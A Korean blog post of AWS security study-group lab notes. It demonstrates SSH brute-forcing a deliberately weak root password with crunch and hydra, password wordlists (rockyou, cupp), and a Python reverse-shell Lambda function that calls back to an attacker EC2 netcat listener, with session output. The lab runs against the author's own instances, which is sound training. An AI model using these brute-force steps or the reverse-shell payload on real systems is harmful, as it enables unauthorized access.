cloudNet@ 팀의 가시다 님이 진행하는 AWS 보안 스터디 2주차 정리입니다.
[ AWS 보안 ] - IAM 는 어떻게 관리해야 할까요?
암호는 어떻게 사용해야 될지 다시 한번 더 고민해보시기 바랍니다!
✅ 실습 목표 :
- EC2 2대를 배포
- 암호 관련 정보 습득 방법 소개
- hydra - 링크 , Crunch - 링크 , rockyou - 링크 , Cupp - 링크
- 패스워드를 해킹하는 방법들에 대해서 학습 해 보자.
[자신의 PC] IAM 자격증명 설정 되어 있는 상태에서 AWS CLI로 CloudFormation 스택 배포 (4분 정도 소요)
# 변수 지정
KEYNAME=<각자 자신의 SSH Keypair Name>
KEYNAME=kp-koo
# YAML 파일 다운로드
curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/security/ahss-ec2_2ea.yaml
# CloudFormation 스택 배포
aws cloudformation deploy --template-file ahss-ec2_2ea.yaml --stack-name iamlab --parameter-overrides KeyName=$KEYNAME --region ap-northeast-2 --capabilities CAPABILITY_NAMED_IAM
# CloudFormation 스택 배포 완료 후 EC2 2대 IP 출력
aws cloudformation describe-stacks --stack-name iamlab --query 'Stacks[*].Outputs[*].OutputValue' --output text
# 각각 EC2 SSH 접속 : 아래 키파일 경로는 자신의 환경에 맞게 변경하자!
43.202.2.168 43.201.251.232
ssh -i kp-koo.cer ec2-user@43.202.2.168
ssh -i kp-koo.cer ec2-user@43.201.251.232
[WebServer EC2]
# 관리자 확인
whoami
# SSH 접속 로그 출력
more /var/log/secure
grep Invalid /var/log/secure
w
# root 계정의 암호 설정 - 취약한 암호이며 실습 후 바로 해당 EC2를 삭제 할 것
passwd
New password: 12qw
Retype new password: 12qw
...
# 실시간 로그 출력
tail -f /var/log/secure
✔️ passwd를 취약한 암호로 풀어주고, 뚫리는지 확인
[Attacker EC2]
# crunch tool 로 사전 파일 생성 - 참고링크 참고영상
cd /root/crunch-3.6
./crunch 4 4 12qw -o 4chars.txt
# 사전 파일 확인, 256개의 암호 생성
more 4chars.txt
more 4chars.txt |wc -l
256
# Hydra tool 로 SSH Brute force attack 시도
hydra -h
hydra -l root -P 4chars.txt -t 10 -f -V ssh://10.0.0.10
...
[22][ssh] host: 10.0.0.10 login: root password: 12qw
...
# 리모트 명령 실행
sshpass -p '12qw' ssh -o StrictHostKeyChecking=no root@10.0.0.10 hostname
sshpass -p '12qw' ssh -o StrictHostKeyChecking=no root@10.0.0.10 ip -c addr
✔️ hydra를 통해 1,2,q,w로 가능한 모든 조합의 패스워드를 실행해볼수 있음 ( 공격할때)
[Attacker EC2]
# 사전 파일 획득
## (옵션) 구글링 - 최애(자주 쓰는) 암호 Top 10/100 리스트, Kali Linux 등등
## (옵션) Rockyou 대용량 사전 파일 - 일천사백만개 암호 리스트 > 필요한 부분만 별도의 파일로 만들어서 사용
cd
more /root/rockyou.txt
less /root/rockyou.txt
wc -l /root/rockyou.txt
14344394
grep password /root/rockyou.txt
grep cisco /root/rockyou.txt
grep -F '***' /root/rockyou.txt
## (옵션) Cupp tool 개인 정보 기반 암호 리스트 생성 - 참고링크
python3 /root/cupp.py -i → 뒤 질문은 전부 N 하자
생성된 파일 확인
more ~
✔️ Cupp tool을 통해 일반적인 정보들을 가지고 (별명, 생일, 이름, 딸 생일 , 배우자 이름) 등 조합하여 패스워드를 txt파일로 만들어내서 공격할수 있음
✅ 실습 목표 :
- AWS Lamda 를 활용한 실습
- Popping reverse shells with Lambda
- 패스워드를 해킹하는 방법들에 대해서 학습 해 보자.
✔️ Attacker EC2 에 접속하여 80 포트 Listen
# 퍼블릭 도메인 주소 확인 : 메모해두기
curl -s http://169.254.169.254/latest/meta-data/public-hostname ; echo
ec2-43-201-251-232.ap-northeast-2.compute.amazonaws.com
# netcat 실행 : TCP 80 포트로 Listen(대기)
nc -lvnp 80
✔️ 람다 함수 생성
함수 이름 : LambdaShell , 런타임 : Python 3.7 , 나머지는 기본값 → 하단 ‘함수 생성’ 클릭

✔️ 코드 저장 후 Deploy
import socket,subprocess,os
def lambda_handler(event, context):
# TODO implement
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<각자 자신의 Attack EC2의 퍼블릭 도메인 주소>", 80))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"]);
✔️ 구성 → 일반 구성 → 편집 : 설명(Shell timeout) , 제한 시간(5분) ⇒ 저장
✔️ [Lambda] 함수 실행 → 트리거로 Attack EC2로 연결 실행
✔️ [Attacker EC2] netcat 연결 확인
#
[root@Attacker ~]# nc -lvnp 80
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 34.78.6.216.
Ncat: Connection from 34.78.6.216:36806.
GET / HTTP/1.1
Host: 43.201.251.232
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
x-datadog-trace-id: 18170749143810708903
x-datadog-parent-id: 18081450761683835459
x-datadog-sampling-priority: 0
# 아래 연결 성공
------------------------------
bash-4.2$ whoami
sbx_user1051
bash-4.2$ id
uid=993(sbx_user1051) gid=990 groups=990
bash-4.2$ ls -al
total 5
drwxr-xr-x 2 root root 41 Sep 3 14:04 .
drwxr-xr-x 24 root root 4096 Jun 12 18:36 ..
-rwxr-xr-x 1 root root 337 Sep 3 14:04 lambda_function.py
bash-4.2$ pwd
/var/task
bash-4.2$ tail /etc/passwd
sbx_user1168:x:876:873::/home/sbx_user1168:/sbin/nologin
sbx_user1169:x:875:872::/home/sbx_user1169:/sbin/nologin
sbx_user1170:x:874:871::/home/sbx_user1170:/sbin/nologin
sbx_user1171:x:873:870::/home/sbx_user1171:/sbin/nologin
sbx_user1172:x:872:869::/home/sbx_user1172:/sbin/nologin
sbx_user1173:x:871:868::/home/sbx_user1173:/sbin/nologin
sbx_user1174:x:870:867::/home/sbx_user1174:/sbin/nologin
sbx_user1175:x:869:866::/home/sbx_user1175:/sbin/nologin
sbx_user1176:x:868:865::/home/sbx_user1176:/sbin/nologin
dnsmasq:x:867:864:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
bash-4.2$ curl -s ipinfo.io/ip; echo
3.34.200.96
bash-4.2$ df -hT
Filesystem Type Size Used Avail Use% Mounted on
/dev/vde ext4 243G 240G 0 100% /
/dev/vdb ext4 1.5G 9.4M 1.4G 1% /dev
/dev/vdd ext4 525M 8.0K 514M 1% /tmp
/dev/root ext4 9.7G 555M 9.2G 6% /var/rapid
/dev/vdc squashfs 128K 128K 0 100% /var/task
✔️실습 리소스 삭제
- Lambda 함수 삭제
- Lambda 함수 사용한 IAM Role 삭제
'DevOps > AWS' 카테고리의 다른 글
[AHSS 3주차] 웹 취약점 및 보안 (0) | 2023.09.11 |
---|---|
[AWS] IAM 정책 (자격증명 기반 정책, 리소스 기반 정책) (0) | 2023.09.09 |
[AHSS 2주차] AWS IAM 보안 (1) (0) | 2023.09.04 |
[AHSS 1주차] AWS S3 보안 (3) (0) | 2023.08.31 |
[AHSS 1주차] AWS S3 보안 (2) (0) | 2023.08.29 |